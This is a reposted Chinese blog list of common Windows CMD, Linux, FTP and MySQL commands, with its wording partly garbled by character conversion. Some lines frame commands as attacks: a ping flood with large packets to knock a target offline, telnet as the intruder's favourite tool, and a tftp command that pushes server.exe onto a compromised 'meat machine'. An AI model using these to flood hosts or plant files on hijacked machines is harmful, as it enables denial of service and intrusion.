天天看點

CMD經常使用的指令

Win7Excuting訂單

win+R。運作該快捷方式。下面3一個人必須知道:

ping 它是用來檢查網絡是否通暢或者網絡連接配接速度的指令。

作為一個生活在網絡上的管理者或者黑客來說,ping指令是第一個必須掌握的DOS指令,它所利用的原理是這種:網絡上的機器都有唯一确定的IP位址,我們給目标IP位址發送一個資料包。對方就要傳回一個相同大小的資料包。依據傳回的資料包我們能夠确定目标主機的存在,能夠初步推斷目标主機的作業系統等。

以下就來看看它的一些經常使用的操作。先看看幫助吧,在DOS窗體中鍵入:ping /? 回車。。所看到的的幫助畫面。在此,我們僅僅掌握一些主要的非常實用的參數就能夠了(下同)。     -t 表示将不間斷向目标IP發送資料包。直到我們強迫其停止。試想,假設你使用100M的寬帶接入,而目标IP是56K的小貓,那麼要不了多久。目标IP就由于承受不了這麼多的資料而掉線,呵呵,一次攻擊就這麼簡單的實作了。     -l 定義發送資料包的大小,默覺得32位元組,我們利用它能夠最大定義到65500位元組。結合上面介紹的-t參數一起使用,會有更好的效果哦。     -n 定義向目标IP發送資料包的次數。默覺得3次。假設網絡速度比較慢,3次對我們來說也浪費了不少時間。由于如今我們的目的不過推斷目标IP是否存在,那麼就定義為一次吧。

    說明一下,假設-t 參數和 -n參數一起使用。ping指令就以放在後面的參數為标準。比方"ping IP -t -n 3",盡管使用了-t參數。但并非一直ping下去,而是僅僅ping 3次。另外,ping指令不一定非得ping IP,也能夠直接ping主機域名,這樣就能夠得到主機的IP。     以下我們舉個樣例來說明一下詳細使用方法。

    這裡time=2表示從發出資料包到接受到傳回資料包所用的時間是2秒。從這裡能夠推斷網絡連接配接速度的大小 。從TTL的傳回值能夠初步推斷被ping主機的作業系統,之是以說"初步推斷"是由于這個值是能夠改動的。

這裡TTL=32表示作業系統可能是win98。  (小知識:假設TTL=128,則表示目标主機可能是Win2000;假設TTL=250,則目标主機可能是Unix)  至于利用ping指令能夠高速查找區域網路故障,能夠高速搜尋最快的QQserver。能夠對别人進行ping攻擊……這些就靠大家自己發揮了。

 

ftp 大家對這個指令應該比較熟悉了吧?網絡上開放的ftp的主機非常多,當中非常大一部分是匿名的。也就是說不論什麼人都能夠登陸上去。如今假設你掃到了一台開放ftp服務的主機(一般都是開了21port的機器),假設你還不會使用ftp的指令怎麼辦?以下就給出主要的ftp指令用法。

  首先在指令行鍵入ftp回車,出現ftp的提示符,這時候能夠鍵入"help"來檢視幫助(不論什麼DOS指令都能夠使用此方法檢視其幫助)。     大家可能看到了,這麼多指令該怎麼用?事實上也用不到那麼多,掌握幾個主要的就夠了。     首先是登陸過程。這就要用到open了。直接在ftp的提示符下輸入"open 主機IP ftpport"回車就可以,一般port預設都是21,能夠不寫。

接着就是輸入合法的username和password進行登陸了,這裡以匿名ftp為例介紹。     username和password都是ftp,password是不顯示的。當提示**** logged in時,就說明登陸成功。這裡由于是匿名登陸,是以使用者顯示為Anonymous。

    接下來就要介紹詳細指令的用法了。     dir 跟DOS指令一樣,用于檢視server的檔案,直接敲上dir回車。就能夠看到此ftpserver上的檔案。  cd 進入某個目錄。

  get 下載下傳檔案到本地機器。

  put 上傳檔案到遠端server。這就要看遠端ftpserver是否給了你可寫的權限了,假設能夠,呵呵,該怎麼 利用就不多說了,大家就自由發揮去吧。  delete 删除遠端ftpserver上的檔案。這也必須保證你有可寫的權限。  bye 退出目前連接配接。  quit 同上。 

telnet 功能強大的遠端登陸指令。差點兒全部的入侵者都喜歡用它。屢試不爽。為什麼?它操作簡單。如同使用自己的機器一樣。僅僅要你熟悉DOS指令,在成功以administrator身份連接配接了遠端機器後。就能夠用它來幹你想幹的一切了。以下介紹一下用法。首先鍵入telnet回車,再鍵入help檢視其幫助資訊。

    然後在提示符下鍵入open IP回車,這時就出現了登陸窗體。讓你輸入合法的username和password,這裡輸入不論什麼password都是不顯示的。

    當輸入username和password都正确後就成功建立了telnet連接配接。這時候你就在遠端主機上具有了和此使用者一樣的權限,利用DOS指令就能夠實作你想幹的事情了。這裡我使用的超級管理者權限登陸的。

其它的還有:

shutdown-------60秒倒計時關機指令

notepad--------打開記事本

calc-----------啟動電腦

taskmgr-----任務管理器(2000/xp/2003)

write----------寫字闆

mspaint--------繪圖闆

mstsc----------遠端桌面連接配接

cmd.exe--------CMD指令提示符

netstat -a 檢視開啟了哪些port,經常使用netstat -an

netstat -n 檢視port的網絡連接配接情況。經常使用netstat -an

CMD經常使用的指令

ping ip(或域名) 向對方主機發送預設大小為32位元組的資料,參數:“-l[空格]資料包大小”。“-n發送資料次數”。“-t”指一直ping。

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)檢視本地ip位址。ipconfig可用參數“/all”顯示所有配置資訊

telnet ip port 遠和登陸server,預設port為23

open ip 連接配接到IP(屬telnet登陸後的指令)

telnet 在本機上直接鍵入telnet 将進入本機的telnet

copy 路徑檔案名稱1 路徑檔案名稱2 /y 拷貝檔案1到指定的檔案夾為檔案2,用參數/y就同一時候取消确認你要改寫一份現存檔案夾檔案

xcopy 要複制的檔案或檔案夾樹 目标位址檔案夾名 拷貝檔案和檔案夾樹。用參數/Y将不提示覆寫同樣檔案

   用參數/e才可連檔案夾下的子檔案夾一起拷貝到目标位址下。

tftp -i 自己IP(用肉機作跳闆時這用肉機IP) get server.exe c:server.exe 登陸後,将“IP”的server.exe下載下傳到目标主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe檔案時用,如不加-i 則以            ASCII模式(傳送文本檔案模式)進行傳送

tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機

ftp ip port 用于上傳檔案至server或進行檔案操作。預設port為21。

bin指用二進制方式傳送(可運作檔案進)。默覺得ASCII格式傳送(文本檔案時)

dir 檢視檔案,參數:/Q顯示檔案及檔案夾屬系統哪個使用者,/T:C顯示檔案建立時間,/T:A顯示檔案上次被訪問時間,/T:W上次被改動時間

date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”将僅僅顯示目前日期和時間,而不必輸入新日期和時間

set 指定環境變量名稱=要指派給變量的字元 環境變量設定

set 顯示目前全部的環境變量

set p(或其他字元) 顯示出目前以字元p(或其他字元)開頭的全部環境變量

echo 資訊 在螢幕上顯示出資訊

find 檔案名稱 查找某檔案

title 标題名字 更改CMD窗體标題名字

color 顔色值 設定cmd控制台前景和背景顔色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的指令提示符(把C:、D:統一改為:EntSky )

md 檔案夾名 建立檔案夾

replace 源檔案 要替換檔案的檔案夾 替換檔案

tree 以樹形結構顯示出檔案夾,用參數-f 将列出第個檔案夾中檔案名

type 檔案名稱 顯示文本檔案的内容

more 檔案名稱 逐屏顯示輸出檔案

taskmgr 調出任務管理器

  win2003系統下新增指令(有用部份):

shutdown /參數 關閉或重新啟動本地或遠端主機。

參數說明:/S 關閉主機,/R 重新啟動主機, /T 數字 設定延時的時間。範圍0~180秒之間, /A取消開機。/M //IP 指定的遠端主機。  例:shutdown /r /t 0 馬上重新啟動本地主機(無延時)

tasklist 顯示目前執行在本地和遠端主機上的程序、服務、服務各程序的程序辨別符(PID)。

參數說明:/M 列出目前程序載入的dll檔案。/SVC 顯示出每一個程序相應的服務,無參數時就僅僅列出目前的程序。

  Linux系統下基本指令 注:要區分大寫和小寫

uname 顯示版本号資訊(同win2K的 ver)

dir 顯示目前檔案夾檔案,ls -al 顯示包含隐藏檔案(同win2K的 dir)

pwd 查詢目前所在的檔案夾位置

cd cd ..回到上一層檔案夾。注意cd 與..之間有空格。

cd /傳回到根檔案夾。

cat 檔案名稱 檢視檔案内容

cat >abc.txt 往abc.txt檔案裡寫上内容。

more 檔案名稱 以一頁一頁的方式顯示一個文本檔案。

cp 拷貝檔案

mv 移動檔案

rm 檔案名稱 删除檔案,rm -a 檔案夾名删除檔案夾及子檔案夾

mkdir 檔案夾名 建立檔案夾

rmdir 删除子檔案夾。檔案夾内沒有文檔。

chmod 設定檔案或檔案夾的存取權限

grep 在檔案中查找字元串

diff 檔案檔案比較

find 檔案搜尋

date 如今的日期、時間

who 查詢眼下和你使用同一台機器的人以及Login時間地點

w 查詢眼下上機者的具體資料

whoami 檢視自己的帳号名稱

groups 檢視某人的Group

passwd 更改password

history 檢視自己下過的指令

ps 顯示程序狀态

kill 停止某程序

gcc 黑客通經常使用它來編譯C語言寫的檔案

su 權限轉換為指定使用者

telnet IP telnet連接配接對方主機(同win2K),當出現bash$時就說明連接配接成功。

ftp ftp連接配接上某server(同win2K)

FTP指令

無論是在linux系統中還是在window系統中,FTP指令都是非常重要的。

以下我具體的整理了一份FTP指令,前16個最為經常使用。

FTP的指令行格式為:

ftp -v -d -i -n -g [主機名] ,當中

-v 顯示遠端server的全部響應資訊

-n 限制ftp的自己主動登入。即不使用。.n etrc檔案;

-d 使用調試方式;

-g 取消全局檔案名稱。

FTP使用的内部指令例如以下(中括号表示可選項):

最為經常使用的有例如以下:   

01.cd remote-dir:進入遠端主機檔案夾。

02.cdup:進入遠端主機檔案夾的父檔案夾。

03.pwd:顯示遠端主機的目前工作檔案夾。

04.lcd[dir]:将本地工作檔案夾切換至dir。

05.dir[remote-dir][local-file]:顯示遠端主機檔案夾。并将結果存入本地檔案。

06.ls[remote-dir][local-file]:顯示遠端檔案夾remote-dir, 并存入本地檔案local-file。

07.delete remote-file:删除遠端主機檔案。

08.get remote-file[local-file](下載下傳):将遠端主機的檔案remote-file傳至本地硬碟的local-file。

09.put local-file[remote-file](上傳):将本地檔案local-file傳送至遠端主機。

10.mget remote-files:傳輸多個遠端檔案。

11.mput local-file:将多個檔案傳輸至遠端主機。

12.prompt:設定多個檔案傳輸時的互動提示。

13.bin:使用二進制檔案傳輸方式。

14.close:中斷與遠端server的ftp會話(與open相應)。

15.quit:同bye。退出ftp會話。

其它的還包含:

![cmd[args]]:在本地機中運作互動shell。exit回到ftp環境,如:!ls*.zip

.$ macro-ame[args]: 運作宏定義macro-name。

account[password]: 提供登入遠端系統成功後訪問系統資源所需的補充密碼。

append local-file[remote-file]:将本地檔案追加到遠端系統主機,若未指定遠端系統檔案名稱,則使用本地檔案名稱。

ascii:使用ascii類型傳輸方式。

bell:每一個指令運作完成後計算機響鈴一次。

case:在使用mget時。将遠端主機檔案名稱中的大寫轉為小寫字母。

chmod mode file-name:将遠端主機檔案file-name的存取方式設定為mode,如:chmod 777 a.out。

cr:使用asscii方式傳輸檔案時,将回車換行轉換為回行。

debug[debug-value]:設定調試方式, 顯示發送至遠端主機的每條指令,如:deb up 3,若設為0,表示取消debug。

disconnection:同close。

form format:将檔案傳輸方式設定為format,預設為file方式。

glob:設定mdelete,mget,mput的檔案名稱擴充。預設時不擴充檔案名稱。同指令行的-g參數。

hash:每傳輸1024位元組,顯示一個hash符号(#)。

help[cmd]:顯示ftp内部指令cmd的幫助資訊。如:help get。

idle[seconds]:将遠端server的休眠計時器設為[seconds]秒。

image:設定二進制傳輸方式(同binary)。

macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。

mdelete[remote-file]:删除遠端主機檔案。

mdir remote-files local-file:與dir類似,但可指定多個遠端檔案,如 :mdir *.o.*.zipoutfile 。

mkdir dir-name:在遠端主機中建一檔案夾。

mls remote-file local-file:同nlist,但可指定多個檔案名稱。

mode[modename]:将檔案傳輸方式設定為modename, 預設為stream方式。

modtime file-name:顯示遠端主機檔案的最後改動時間。

newer file-name: 假設遠端機中file-name的改動時間比本地硬碟同名檔案的時間更近,則重傳該檔案。

nlist[remote-dir][local-file]:顯示遠端主機檔案夾的檔案清單,并存入本地硬碟的local-file。

nmap[inpattern outpattern]:設定檔案名稱映射機制, 使得檔案傳輸時,檔案裡的某些字元互相轉換。 如:nmap $1.$2.$3[$1。$2].[$2,$3],則傳輸檔案a1.a2.a3時,檔案名稱變為a1。a2。 該指令特别适用于遠端主機為非UNIX機的情況。

ntrans[inchars[outchars]]:設定檔案名稱字元的翻譯機制,如ntrans1R,則檔案名稱LLL将變為RRR。

open host[port]:建立指定ftpserver連接配接。可指定連接配接端口。

passive:進入被動傳輸方式。

proxy ftp-cmd:在次要控制連接配接中,運作一條ftp指令, 該指令同意連接配接兩個ftpserver,以在兩個server間傳輸檔案。

第一條ftp指令必須為open。以首先建立兩個server間的連接配接。

quote arg1,arg2...:将參數逐字發至遠端ftpserver,如:quote syst.

recv remote-file[local-file]:同get。

reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續傳。

rhelp[cmd-name]:請求獲得遠端主機的幫助。

rstatus[file-name]:若未指定檔案名稱,則顯示遠端主機的狀态, 否則顯示檔案狀态。

rename[from][to]:更改遠端主機檔案名稱。

reset:清除回答隊列。

restart marker:從指定的标志marker處。又一次開始get或put,如:restart 130。

rmdir dir-name:删除遠端主機檔案夾。

runique:設定檔案名稱僅僅一性存儲,若檔案存在,則在原檔案後加字尾.1, .2等。

send local-file[remote-file]:同put。

sendport:設定PORT指令的使用。

site arg1,arg2...:将參數作為SITE指令逐字發送至遠端ftp主機。

size file-name:顯示遠端主機檔案大小,如:site idle 7200。

status:顯示目前ftp狀态。

struct[struct-name]:将檔案傳輸結構設定為struct-name, 預設時使用stream結構。

sunique:将遠端主機檔案名稱存儲設定為僅僅一(與runique相應)。

system:顯示遠端主機的作業系統類型。

tenex:将檔案傳輸類型設定為TENEX機的所需的類型。

tick:設定傳輸時的位元組計數器。

trace:設定包跟蹤。

type[type-name]:設定檔案傳輸類型為type-name,預設為ascii。如:type binary,設定二進制傳輸方式。

umask[newmask]:将遠端server的預設umask設定為newmask。如:umask 3

user user-name[password][account]:向遠端主機表明自己的身份。須要密碼時,必須輸入密碼。如:user anonymous my@email。

verbose:同指令行的-v參數,即設定詳盡報告方式。ftp server的全部響 應都将顯示給使用者。預設為on.

MYSQL指令

首先要想使用mysql的指令。必須将mysql的bin檔案夾加入到path變量裡面去。我個人比較喜歡使用wamp這套內建mysql的內建工具。這個工具非常友善非常好使用的,并且也自帶着指令窗體的。我加入C:\wamp\bin\mysql\mysql5.6.17\bin了到path裡面去,這樣子就能夠在CMD窗體裡面使用mysql指令了。

CMD經常使用的指令
CMD經常使用的指令

連接配接MYSQL有2種方式(假設剛安裝好MYSQL。超級使用者root是沒有password的,普通情況下使用自己電腦裡面的mysql。直接敲mysql即可):

1,mysql -h 主機位址 -u username -p password;(例:mysql -h 127.0.0.1 -u root -p)

2,mysql -p password -u username -h 主機位址。(例:mysql -p -u root -h 127.0.0.1)

(注意:u與root能夠不用加空格,其他也一樣)

退出MYSQL非常easy:exit 或者 quit

以下這些就是經常使用的sql語句,以後會在整理資料庫的時候做具體的介紹,這裡不多贅述了。

mysqladmin -uusername -p舊password password 新password 改動password

show databases; 顯示資料庫清單。剛開始時才兩個資料庫:mysql和test。mysql庫非常重要它裡面有MYSQL的系統資訊。我們改password和新增使用者,實際上就是用這個庫進行操作。

use mysql。

show tables; 顯示庫中的資料表

describe 表名; 顯示資料表的結構

create database 庫名; 建庫

use 庫名;

create table 表名 (現場設定清單); 建表

drop database 庫名;

drop table 表名。 删除庫和删除表

delete from 表名; 表中的空的記錄

select * from 表名; 表中顯示的記錄

<b>本文轉自mfrbuaa部落格園部落格,原文連結:</b><b>http://www.cnblogs.com/mfrbuaa/p/5044064.html</b><b>,如需轉載請自行聯系原作者</b>